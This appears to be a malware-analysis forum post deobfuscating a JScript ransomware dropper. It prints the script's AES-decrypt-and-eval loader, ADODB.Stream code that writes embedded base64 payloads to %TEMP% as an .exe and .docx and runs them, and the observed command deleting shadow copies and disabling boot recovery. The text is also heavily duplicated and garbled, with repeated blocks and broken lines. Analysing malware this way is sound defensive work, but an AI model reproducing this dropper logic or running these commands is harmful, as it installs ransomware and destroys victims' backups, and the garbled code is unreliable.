for (d = 0; dd || 4 >= e ? l : b[p[l >>> 24]] ^ y[p[l >>> 16 & 255]] ^ r[p[l >>> 8 & 255]] ^ z[p[l & 255]]
}, encryptBlock: function(a, b) {
this._doCryptBlock(a, b, this._keySchedule, w, t, x, v, p)
}, decryptBlock: function(a, c) {var d = a[c + 1];
a[c + 1] = a[c + 3];
a[c + 3] = d;
this._doCryptBlock(a, c, this._invKeySchedule, b, y, r, z, u);
d = a[c + 1];
a[c + 1] = a[c + 3];
a[c + 3] = d
}, _doCryptBlock: function(a, b, c, d, e, f, l, g) {a[c + 1] = a[c + 3];
a[c + 3] = d;
this._doCryptBlock(a, c, this._invKeySchedule, b, y, r, z, u);
d = a[c + 1];
a[c + 1] = a[c + 3];
a[c + 3] = d
for (var m = this._nRounds, h = a ^ c[0], k = a[b + 1] ^ c[1], n = a[b + 2] ^ c[2], p = a[b + 3] ^ c[3], q = 4, r = 1; r >> 24] ^ e[k >>> 16 & 255] ^ f[n >>> 8 & 255] ^ l[p & 255] ^ c[q++], u = d[k >>> 24] ^ e[n >>> 16 & 255] ^ f[p >>> 8 & 255] ^ l[h & 255] ^ c[q++], v = d[n >>> 24] ^ e[p >>> 16 & 255] ^ f[h >>> 8 & 255] ^ l[k & 255] ^ c[q++], p = d[p >>> 24] ^ e[h >>> 16 & 255] ^ f[k >>> 8 & 255] ^ l[n & 255] ^ c[q++], h = t, k = u, n = v;
t = (g[h >>> 24] << 24 | g[k >>> 16 & 255] << 16 | g[n >>> 8 & 255] << 8 | g[p & 255]) ^ c[q++];
u = (g[k >>> 24] << 24 | g[n >>> 16 & 255] << 16 | g[p >>> 8 & 255] << 8 | g[h & 255]) ^ c[q++];
v = (g[n >>> 24] << 24 | g[p >>> 16 & 255] << 16 | g[h >>> 8 & 255] << 8 | g[k & 255]) ^ c[q++];
p = (g[p >>> 24] << 24 | g[h >>> 16 & 255] << 16 | g[k >>> 8 & 255] << 8 | g[n & 255]) ^ c[q++];
a = t;
a[b + 1] = u;
a[b + 2] = v;
a[b + 3] = p
})();t = (g[h >>> 24] << 24 | g[k >>> 16 & 255] << 16 | g[n >>> 8 & 255] << 8 | g[p & 255]) ^ c[q++];
u = (g[k >>> 24] << 24 | g[n >>> 16 & 255] << 16 | g[p >>> 8 & 255] << 8 | g[h & 255]) ^ c[q++];
v = (g[n >>> 24] << 24 | g[p >>> 16 & 255] << 16 | g[h >>> 8 & 255] << 8 | g[k & 255]) ^ c[q++];
p = (g[p >>> 24] << 24 | g[h >>> 16 & 255] << 16 | g[k >>> 8 & 255] << 8 | g[n & 255]) ^ c[q++];
a = t;
a[b + 1] = u;
a[b + 2] = v;
a[b + 3] = p
}, keySize: 8
}); e.AES = l._createHelper(c)var y22b7a = "exe",
q580762 = 67,
b6175991f = 63;
f72f174db17f6 = "Q946B90E6F7";
b6175991f = 63;
f72f174db17f6 = "Q946B90E6F7";
function B90E6F7(e, l, c) {
return 6
}var y07d1e = 6,
y75206 = 2,
y2fb25 = 1,
y411e3 = "df986316b86",
y61980 = 0,
y34a34 = CryptoJS.AES.decrypt("U2FsdGVkX18mdXFJOYoC3QUfAJkTq8V++E3mIztGyPKlHvBoV79yAYamumS4NroB1uYbpQzpyQIbkXl6rRb5VrbrobV6qP+70ajaNo+ICYrE9U1DnH6qNXZlMQpHNSYWrCzfGrtUYAX3nIa/JM33C4Qu5HaAyVlIpSDBax0CAe2n8Ogz6gVzD42u6Jk8KeLcNZNjSa63IzKOopapCnIZ/oQFOiwkF19q2SFMBs9F4hH0/m1cKizYszZYcF/t/c+FVeRuQsDLMZ6xJ6km9oTSWmRGXVy9PDXpsyVJvbxHM+HxkDuo3VwFjLJboTV3AydOclWCnmsNj0yp+ZIKqXZxLW/dDqMqpNQ//N3UiMM84w7KqRNtYmZNbXMTqp13qHY3BTli9WzetzUDgUgQcutvYy0hNzrlyHMK4KRbaA8heDuEmKqJFEFLixZDXFFgi/ggzWZcLLAFt0SjKRoZdFo0qC9Gc+yRJcuE3XJMzOWWB/NTE6/Blqzvb3XKwA8svI371tVtvagdEzQM/H6+QXbBww==", "5CC039F2");
y2fb25 = 1,
y411e3 = "df986316b86",
y61980 = 0,
y34a34 = CryptoJS.AES.decrypt("U2FsdGVkX18mdXFJOYoC3QUfAJkTq8V++E3mIztGyPKlHvBoV79yAYamumS4NroB1uYbpQzpyQIbkXl6rRb5VrbrobV6qP+70ajaNo+ICYrE9U1DnH6qNXZlMQpHNSYWrCzfGrtUYAX3nIa/JM33C4Qu5HaAyVlIpSDBax0CAe2n8Ogz6gVzD42u6Jk8KeLcNZNjSa63IzKOopapCnIZ/oQFOiwkF19q2SFMBs9F4hH0/m1cKizYszZYcF/t/c+FVeRuQsDLMZ6xJ6km9oTSWmRGXVy9PDXpsyVJvbxHM+HxkDuo3VwFjLJboTV3AydOclWCnmsNj0yp+ZIKqXZxLW/dDqMqpNQ//N3UiMM84w7KqRNtYmZNbXMTqp13qHY3BTli9WzetzUDgUgQcutvYy0hNzrlyHMK4KRbaA8heDuEmKqJFEFLixZDXFFgi/ggzWZcLLAFt0SjKRoZdFo0qC9Gc+yRJcuE3XJMzOWWB/NTE6/Blqzvb3XKwA8svI371tVtvagdEzQM/H6+QXbBww==", "5CC039F2");
function QF2A(e) {
WScript.CreateObject("Scripting.FileSystemObject");
return 6
}return 6
QF2A();
function Q32A(e) {
WScript.CreateObject("Scripting.FileSystemObject");
return 5
}return 5
Q32A();
var qf7c4b2 = 60, bcd014079 = 64; ff168a3b06ec5 = "Q174BA67691";
function BA67691(e, l, c) {
return 2
}function Q516(e) {
WScript.CreateObject("Scripting.FileSystemObject");
return 2
}return 2
Q516();
var ya2c48 = "TE",
yc84ac = "" + y411e3 + "." + y22b7a + "";
function QB50(e, l, c) {
return 10
}var ybb42b = CreateObject,
yac4e8 = "%" + ya2c48 + "MP%\\doc_b5c7d9.docx",
yab34a = "ADODB.Stream",
y6c7db = ActiveXObject,
yd381b = "%" + ya2c48 + "MP%\\" + yc84ac + "";
yab34a = "ADODB.Stream",
y6c7db = ActiveXObject,
yd381b = "%" + ya2c48 + "MP%\\" + yc84ac + "";
function QCFF(e, l, c) {
return 6
}var q7f1f66 = 75,
bfb75abf4 = 3;
fbc597fcac449 = "QCDCB4C0B9C";
function B4C0B9C(e, l, c) {
return 3
}var yd5e19 = y34a34.toString(CryptoJS.enc.Utf8), y5ff2e = yd381b;
function CreateObject(e) {
return new y6c7db(e)
}var y0afb1 = "WScript.Shell",
y1597b = y0afb1,
y454b7 = "Msxml2.DOMDocument." + y07d1e + "." + y61980 + "",
y231d9 = "bin.base64",
y07c02 = ybb42b(y1597b),
yd381b = y07c02.ExpandEnvironmentStrings(yd381b),
yeea6a = new ybb42b(yab34a),
y0067b = /6ab6/g;
y454b7 = "Msxml2.DOMDocument." + y07d1e + "." + y61980 + "",
y231d9 = "bin.base64",
y07c02 = ybb42b(y1597b),
yd381b = y07c02.ExpandEnvironmentStrings(yd381b),
yeea6a = new ybb42b(yab34a),
y0067b = /6ab6/g;
function Q35C(e, l, c) {
return 9
}var yb61db = new y6c7db(y454b7),
y95fd5 = yb61db.createElement("y56f04"),
yac4e8 = y07c02.ExpandEnvironmentStrings(yac4e8),
y1861b = y8d17e.replace(y0067b, "y");
y95fd5.dataType = y231d9; y95fd5.text = y1861b;
yac4e8 = y07c02.ExpandEnvironmentStrings(yac4e8),
y1861b = y8d17e.replace(y0067b, "y");
y95fd5.dataType = y231d9; y95fd5.text = y1861b;
function Q56D(e, l, c) {
return 7
}y81f64 = y95fd5.nodeTypedValue;
function Q75C(e, l, c) {
return 4
}y95fd5.dataType = y231d9; y95fd5.text = yfcd0f;
function QD88(e) {
WScript.CreateObject("Scripting.FileSystemObject");
return 1
}return 1
QD88(); y004e7 = y95fd5.nodeTypedValue; eval(yd5e19);
Take a look at some var/function names
CryptoJS,
sigBytes
decodeURIComponent
BufferedBlockAlgorithm
_map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
WordArray
Hasher
algo
hash.words
_createHmacHelper
_ENC_XFORM_MODE
createEncryptor
CipherParams
OpenSSL
SerializableCipher
createDecryptor
PasswordBasedCipher
lib.BlockCipher
AES
_invKeySchedule
encryptBlock
sigBytes
decodeURIComponent
BufferedBlockAlgorithm
_map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
WordArray
Hasher
algo
hash.words
_createHmacHelper
_ENC_XFORM_MODE
createEncryptor
CipherParams
OpenSSL
SerializableCipher
createDecryptor
PasswordBasedCipher
lib.BlockCipher
AES
_invKeySchedule
encryptBlock
Some well none parts / easy to understand :
"WScript.Shell"
yab34a = "ADODB.Stream",
y6c7db = ActiveXObject,
ExpandEnvironmentStrings
WScript.CreateObject("Scripting.FileSystemObject")
var ybb42b = CreateObject,
"Msxml2.DOMDocument." + y07d1e + "." + y61980 + ""
=> "Msxml2.DOMDocument.6.0"
yd381b = "%" + ya2c48 + "MP%\\" + yc84ac + "";
=> not to hard to find : %TEMP%\\df986316b86.exe
yac4e8 = "%" + ya2c48 + "MP%\\doc_b5c7d9.docx",
=> not to hard to find : %TEMP%\\doc_b5c7d9.docx"
Where are the future files ?yab34a = "ADODB.Stream",
y6c7db = ActiveXObject,
ExpandEnvironmentStrings
WScript.CreateObject("Scripting.FileSystemObject")
var ybb42b = CreateObject,
"Msxml2.DOMDocument." + y07d1e + "." + y61980 + ""
=> "Msxml2.DOMDocument.6.0"
yd381b = "%" + ya2c48 + "MP%\\" + yc84ac + "";
=> not to hard to find : %TEMP%\\df986316b86.exe
yac4e8 = "%" + ya2c48 + "MP%\\doc_b5c7d9.docx",
=> not to hard to find : %TEMP%\\doc_b5c7d9.docx"
yeacb7 += "/v1pCkAAAAAAAAAAA..........
var y8d17e = yeacb7;
y8d17e += "Y87iR74BT..............
var yfcd0f = "UEsDBBQABgA
var y59526 = ="TVqQAAMAAAAEA.............."
(files hidden in above vars)
At the end of the script :eval(yd5e19); => evaluate the code in yd5e19
var yd5e19 = y34a34.toString(CryptoJS.enc.Utf8)y34a34 = CryptoJS.AES.decrypt("U2FsdGVkX18mdXFJOYoC3QUfAJkTq8V++E3mIztGyPKlHvBoV79yAYamumS4NroB1uYbpQzpyQIbkXl6rRb5VrbrobV6qP+70ajaNo+ICYrE9U1DnH6qNXZlMQpHNSYWrCzfGrtUYAX3nIa/JM33C4Qu5HaAyVlIpSDBax0CAe2n8Ogz6gVzD42u6Jk8KeLcNZNjSa63IzKOopapCnIZ/oQFOiwkF19q2SFMBs9F4hH0/m1cKizYszZYcF/t/c+FVeRuQsDLMZ6xJ6km9oTSWmRGXVy9PDXpsyVJvbxHM+HxkDuo3VwFjLJboTV3AydOclWCnmsNj0yp+ZIKqXZxLW/dDqMqpNQ//N3UiMM84w7KqRNtYmZNbXMTqp13qHY3BTli9WzetzUDgUgQcutvYy0hNzrlyHMK4KRbaA8heDuEmKqJFEFLixZDXFFgi/ggzWZcLLAFt0SjKRoZdFo0qC9Gc+yRJcuE3XJMzOWWB/NTE6/Blqzvb3XKwA8svI371tVtvagdEzQM/H6+QXbBww==", "5CC039F2");
=> Base64 stuff but encrypted : their function decrypts it
The part that will call the main stuff / creates the files, etc
copy-paste the content of the string and the password (both without quotes),
AES Decrypt Text - AES Decryption - Online - Browserling Web Developer Tools
yeea6a.Open();
yeea6a.Write(y81f64);
try {yeea6a.SaveToFile(yd381b,y75206);}
catch(y21bcd){}
yeea6a.Close();
yeea6a.Type=y2fb25;
yeea6a.Open();
yeea6a.Write(y004e7);
try {yeea6a.SaveToFile(yac4e8,y75206);}
catch(y3fcf6){}
yeea6a.Close();
try {y07c02.Run(""+yac4e8+"",y2fb25,y61980);
}catch(yd6448){};
try {y07c02.Run(""+y5ff2e+"",y61980,y61980);}
atch(y4d193){}
Deobfuscated :
oADOBSream.Write(y81f64);
try {
catch(e){
}
oSream.Close();
oSream.Type=2;
oSream.Open();
oSream.Write(y004e7);
catch(e){
}
oADOBSream.Close();
try {
catch(e){
};
try {
catch(e){
}
The Script is an "all in one" malware/ransomware
copy-paste the content of the string and the password (both without quotes),
AES Decrypt Text - AES Decryption - Online - Browserling Web Developer Tools
Once Decrypted - but obfuscated:
yeea6a.Type=y2fb25;yeea6a.Open();
yeea6a.Write(y81f64);
try {yeea6a.SaveToFile(yd381b,y75206);}
catch(y21bcd){}
yeea6a.Close();
yeea6a.Type=y2fb25;
yeea6a.Open();
yeea6a.Write(y004e7);
try {yeea6a.SaveToFile(yac4e8,y75206);}
catch(y3fcf6){}
yeea6a.Close();
try {y07c02.Run(""+yac4e8+"",y2fb25,y61980);
}catch(yd6448){};
try {y07c02.Run(""+y5ff2e+"",y61980,y61980);}
atch(y4d193){}
Deobfuscated :
oADOBSream.Open();y95fd5 = yb61db.createElement("y56f04"),
= > create an element on msxml document
"Msxml2.DOMDocument.6.0"
y95fd5.dataType ="bin.base64";
y95fd5.text = y8d17e.replace(y0067b, "y");
y81f64 = y95fd5.nodeTypedValue; decode Base64
= > create an element on msxml document
"Msxml2.DOMDocument.6.0"
y95fd5.dataType ="bin.base64";
y95fd5.text = y8d17e.replace(y0067b, "y");
y81f64 = y95fd5.nodeTypedValue; decode Base64
try {
oADOBSream.SaveToFile("C:\Users\DardiM\AppData\Local\Temp\\df986316b86.exe",2);
}catch(e){
}
oSream.Close();
oSream.Type=2;
oSream.Open();
y004e7 = y95fd5.nodeTypedValue ;
decode Base64
try {oSream.SaveToFile("C:\Users\DardiM\AppData\Local\Temp\doc_b5c7d9.docx",2);
}catch(e){
}
oADOBSream.Close();
try {
y07c02.Run("C:\Users\DardiM\AppData\Local\Temp\doc_b5c7d9.docx",1,0);
}catch(e){
};
try {
y07c02.Run("C:\Users\DardiM\AppData\Local\Temp\df986316b86.exe",0,0);
}catch(e){
}
It creates :
%TEMP%\\doc_b5c7d9.docx"
%TEMP%\\df986316b86.exe"
these files are encoded inside the Script
The doc file is open in WINWORD.EXE with parameter /n
Starts a new instance of Word with no document open. Documents opened in each instance of Word will not appear as choices in the Window menu of other instances.
WMIC.exe process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
=> UAC warning if well activated
=> vssadmin.exe delete shadows /all /quiet (PID: 3860)
=> bcdedit.exe /set {default} recoveryenabled no (PID: 3956)
=> bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures (PID:
=> unable backup restorations, and ignore any error message
3) Conclusion for this part :=> bcdedit.exe /set {default} recoveryenabled no (PID: 3956)
=> bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures (PID:
=> unable backup restorations, and ignore any error message
This script contains its own functions to make advanced stuff (encrypting, decripting, AES, openSSL, etc) and all files to init the infection.
But it only uses the AES decrypting part to be able to use one of the hidden part in the script itself.
To get the docx and .exe files without any risk :
=> we only have to :
- replace the eval(yd5e19) described above by the real part decrypted
- put the run parts in commentary
- use a IDE tool to make it run (Protected environment to avoid problems )
(Microsoft Visual Studio debugger with Wscript.exe, for me)
- put the run parts in commentary
- use a IDE tool to make it run (Protected environment to avoid problems )
(Microsoft Visual Studio debugger with Wscript.exe, for me)
ADOBSream => will save the files with good content
That's all for the moment
Next part will follow, with more info, if some people are interested
(I can explain more things about the code / files)
Edited :
https://malwaretips.com/threads/deo...js-ransom-ba-tr-all-in-one.62797/#post-537853
Last edited: